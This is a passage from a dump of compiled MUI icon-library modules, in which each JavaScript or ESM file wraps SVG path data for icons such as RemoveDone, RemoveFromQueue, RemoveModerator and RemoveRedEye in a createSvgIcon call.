    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.84 1.98 3.43 3.39l10.38 10.38-1.41 1.41-4.24-4.24-1.41 1.41 5.66 5.66 2.83-2.83 6.6 6.6 1.41-1.41zm13.21 10.38L23 7.4 21.57 6l-4.94 4.94zm-.71-4.96-1.41-1.41-2.12 2.12 1.41 1.41zM1.08 12.35l5.66 5.66 1.41-1.41-5.66-5.66z\"\n}), 'RemoveDoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.14 2.69c-.39.39-.39 1.02 0 1.41l9.67 9.67-1.41 1.41-3.54-3.53a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.24 4.24c.39.39 1.02.39 1.41 0l2.12-2.12 5.89 5.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.55 2.69a.996.996 0 0 0-1.41 0m13.91 9.67 4.24-4.24c.39-.39.39-1.03-.01-1.42-.39-.38-1.02-.38-1.41.01l-4.24 4.24zM16.64 6.7a.996.996 0 0 0-1.41 0l-1.42 1.42 1.41 1.41 1.42-1.42c.39-.39.39-1.02 0-1.41M1.79 13.06l4.95 4.95 1.41-1.41-4.95-4.95a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41\"\n}), 'RemoveDoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.14 2.69c-.39.39-.39 1.02 0 1.41l9.67 9.67-1.41 1.41-3.54-3.53a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.24 4.24c.39.39 1.02.39 1.41 0l2.12-2.12 5.89 5.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.55 2.69a.996.996 0 0 0-1.41 0m13.91 9.67 4.24-4.24c.39-.39.39-1.03-.01-1.42-.39-.38-1.02-.38-1.41.01l-4.24 4.24zM16.64 6.7a.996.996 0 0 0-1.41 0l-1.42 1.42 1.41 1.41 1.42-1.42c.39-.39.39-1.02 0-1.41M1.79 13.06l4.95 4.95 1.41-1.41-4.95-4.95a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41\"\n}), 'RemoveDoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.84 1.98 3.43 3.39l10.38 10.38-1.41 1.41-4.24-4.24-1.41 1.41 5.66 5.66 2.83-2.83 6.6 6.6 1.41-1.41zm13.21 10.38L23 7.4 21.57 6l-4.94 4.94zm-.71-4.96-1.41-1.41-2.12 2.12 1.41 1.41zM1.08 12.35l5.66 5.66 1.41-1.41-5.66-5.66z\"\n}), 'RemoveDoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.84 1.98 3.43 3.39l10.38 10.38-1.41 1.41-4.24-4.24-1.41 1.41 5.66 5.66 2.83-2.83 6.6 6.6 1.41-1.41zm13.21 10.38L23 7.4 21.57 6l-4.94 4.94zm-.71-4.96-1.41-1.41-2.12 2.12 1.41 1.41zM1.08 12.35l5.66 5.66 1.41-1.41-5.66-5.66z\"\n}), 'RemoveDoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.84 1.98 3.43 3.39l10.38 10.38-1.41 1.41-4.24-4.24-1.41 1.41 5.66 5.66 2.83-2.83 6.6 6.6 1.41-1.41zm13.21 10.38L23 7.4 21.57 6l-4.94 4.94zm-.71-4.96-1.41-1.41-2.12 2.12 1.41 1.41zM1.08 12.35l5.66 5.66 1.41-1.41-5.66-5.66z\"\n}), 'RemoveDoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveDoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.84 1.98 3.43 3.39l10.38 10.38-1.41 1.41-4.24-4.24-1.41 1.41 5.66 5.66 2.83-2.83 6.6 6.6 1.41-1.41zm13.21 10.38L23 7.4 21.57 6l-4.94 4.94zm-.71-4.96-1.41-1.41-2.12 2.12 1.41 1.41zM1.08 12.35l5.66 5.66 1.41-1.41-5.66-5.66z\"\n}), 'RemoveDoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueue.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18zm-5-7v2H8v-2z\"\n}), 'RemoveFromQueue');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueue.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.11-.9-2-2-2m0 14H3V5h18zm-5-7v2H8v-2z\"\n}), 'RemoveFromQueue');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueueOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H3V5h18zm-5-7v2H8v-2z\"\n}), 'RemoveFromQueueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueueOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H3V5h18zm-5-7v2H8v-2z\"\n}), 'RemoveFromQueueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueueRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m-4-6c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1\"\n}), 'RemoveFromQueueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueueRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1m-4-6c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1\"\n}), 'RemoveFromQueueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueueSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h7zm-2 14H3V5h18zm-5-7v2H8v-2z\"\n}), 'RemoveFromQueueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueueSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h7zm-2 14H3V5h18zm-5-7v2H8v-2z\"\n}), 'RemoveFromQueueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueueTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17h18V5H3zm5-7h8v2H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H3V5h18zM8 10h8v2H8z\"\n}, \"1\")], 'RemoveFromQueueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveFromQueueTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17h18V5H3zm5-7h8v2H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H3V5h18zM8 10h8v2H8z\"\n}, \"1\")], 'RemoveFromQueueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModerator.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.27 21.73-3.54-3.55L5.78 5.23 2.27 1.72 1 2.99 3.01 5H3v6c0 5.55 3.84 10.74 9 12 2.16-.53 4.08-1.76 5.6-3.41L21 23zM13 9.92l6.67 6.67C20.51 14.87 21 12.96 21 11V5l-9-4-5.48 2.44L11 7.92z\"\n}), 'RemoveModerator');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModerator.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.27 21.73-3.54-3.55L5.78 5.23 2.27 1.72 1 2.99 3.01 5H3v6c0 5.55 3.84 10.74 9 12 2.16-.53 4.08-1.76 5.6-3.41L21 23zM13 9.92l6.67 6.67C20.51 14.87 21 12.96 21 11V5l-9-4-5.48 2.44L11 7.92z\"\n}), 'RemoveModerator');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModeratorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 4.14 6 2.25v4.7c0 1.19-.23 2.36-.64 3.44l1.51 1.51c.72-1.53 1.13-3.22 1.13-4.95V5l-8-3-5.22 1.96 1.55 1.55zM2.81 2.81 1.39 4.22 4 6.83v4.26c0 5.05 3.41 9.76 8 10.91 1.72-.43 3.28-1.36 4.55-2.62l3.23 3.23 1.41-1.41zM12 19.92c-3.45-1.13-6-4.82-6-8.83V8.83l9.14 9.14c-.9.88-1.97 1.57-3.14 1.95\"\n}), 'RemoveModeratorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModeratorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 4.14 6 2.25v4.7c0 1.19-.23 2.36-.64 3.44l1.51 1.51c.72-1.53 1.13-3.22 1.13-4.95V5l-8-3-5.22 1.96 1.55 1.55zM2.81 2.81 1.39 4.22 4 6.83v4.26c0 5.05 3.41 9.76 8 10.91 1.72-.43 3.28-1.36 4.55-2.62l3.23 3.23 1.41-1.41zM12 19.92c-3.45-1.13-6-4.82-6-8.83V8.83l9.14 9.14c-.9.88-1.97 1.57-3.14 1.95\"\n}), 'RemoveModeratorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModeratorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11.09v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.17-.95-.17-1.4 0L6.78 3.96l12.09 12.09c.72-1.53 1.13-3.22 1.13-4.96m.49 9.4L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L4 6.83v4.26c0 4.83 3.13 9.37 7.43 10.75.37.12.77.12 1.14 0 1.49-.48 2.84-1.35 3.97-2.47l2.53 2.53c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'RemoveModeratorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModeratorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11.09v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.17-.95-.17-1.4 0L6.78 3.96l12.09 12.09c.72-1.53 1.13-3.22 1.13-4.96m.49 9.4L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L4 6.83v4.26c0 4.83 3.13 9.37 7.43 10.75.37.12.77.12 1.14 0 1.49-.48 2.84-1.35 3.97-2.47l2.53 2.53c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'RemoveModeratorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModeratorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11.09V5l-8-3-5.22 1.96 12.09 12.09c.72-1.53 1.13-3.22 1.13-4.96M2.81 2.81 1.39 4.22 4 6.83v4.26c0 5.05 3.41 9.76 8 10.91 1.72-.43 3.28-1.36 4.55-2.62l3.23 3.23 1.41-1.41z\"\n}), 'RemoveModeratorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModeratorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11.09V5l-8-3-5.22 1.96 12.09 12.09c.72-1.53 1.13-3.22 1.13-4.96M2.81 2.81 1.39 4.22 4 6.83v4.26c0 5.05 3.41 9.76 8 10.91 1.72-.43 3.28-1.36 4.55-2.62l3.23 3.23 1.41-1.41z\"\n}), 'RemoveModeratorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModeratorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11.09c0 4 2.55 7.7 6 8.83 1.17-.38 2.24-1.07 3.14-1.95L6 8.83zm6-6.95L8.34 5.51l9.02 9.02c.41-1.08.64-2.25.64-3.44v-4.7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 4.14 6 2.25v4.7c0 1.19-.23 2.36-.64 3.44l1.51 1.51c.72-1.53 1.13-3.22 1.13-4.95V5l-8-3-5.22 1.96 1.55 1.55zM2.81 2.81 1.39 4.22 4 6.83v4.26c0 5.05 3.41 9.76 8 10.91 1.72-.43 3.28-1.36 4.55-2.62l3.23 3.23 1.41-1.41zM12 19.92c-3.45-1.13-6-4.82-6-8.83V8.83l9.14 9.14c-.9.88-1.97 1.57-3.14 1.95\"\n}, \"1\")], 'RemoveModeratorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveModeratorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11.09c0 4 2.55 7.7 6 8.83 1.17-.38 2.24-1.07 3.14-1.95L6 8.83zm6-6.95L8.34 5.51l9.02 9.02c.41-1.08.64-2.25.64-3.44v-4.7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 4.14 6 2.25v4.7c0 1.19-.23 2.36-.64 3.44l1.51 1.51c.72-1.53 1.13-3.22 1.13-4.95V5l-8-3-5.22 1.96 1.55 1.55zM2.81 2.81 1.39 4.22 4 6.83v4.26c0 5.05 3.41 9.76 8 10.91 1.72-.43 3.28-1.36 4.55-2.62l3.23 3.23 1.41-1.41zM12 19.92c-3.45-1.13-6-4.82-6-8.83V8.83l9.14 9.14c-.9.88-1.97 1.57-3.14 1.95\"\n}, \"1\")], 'RemoveModeratorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13H5v-2h14z\"\n}), 'RemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13H5v-2h14z\"\n}), 'RemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEye.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'RemoveRedEye');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEye.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'RemoveRedEye');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEyeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.5c3.79 0 7.17 2.13 8.82 5.5-1.65 3.37-5.02 5.5-8.82 5.5S4.83 15.37 3.18 12C4.83 8.63 8.21 6.5 12 6.5m0-2C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5m0 5c1.38 0 2.5 1.12 2.5 2.5s-1.12 2.5-2.5 2.5-2.5-1.12-2.5-2.5 1.12-2.5 2.5-2.5m0-2c-2.48 0-4.5 2.02-4.5 4.5s2.02 4.5 4.5 4.5 4.5-2.02 4.5-4.5-2.02-4.5-4.5-4.5\"\n}), 'RemoveRedEyeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEyeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.5c3.79 0 7.17 2.13 8.82 5.5-1.65 3.37-5.02 5.5-8.82 5.5S4.83 15.37 3.18 12C4.83 8.63 8.21 6.5 12 6.5m0-2C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5m0 5c1.38 0 2.5 1.12 2.5 2.5s-1.12 2.5-2.5 2.5-2.5-1.12-2.5-2.5 1.12-2.5 2.5-2.5m0-2c-2.48 0-4.5 2.02-4.5 4.5s2.02 4.5 4.5 4.5 4.5-2.02 4.5-4.5-2.02-4.5-4.5-4.5\"\n}), 'RemoveRedEyeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEyeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'RemoveRedEyeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEyeRounded.mjs",
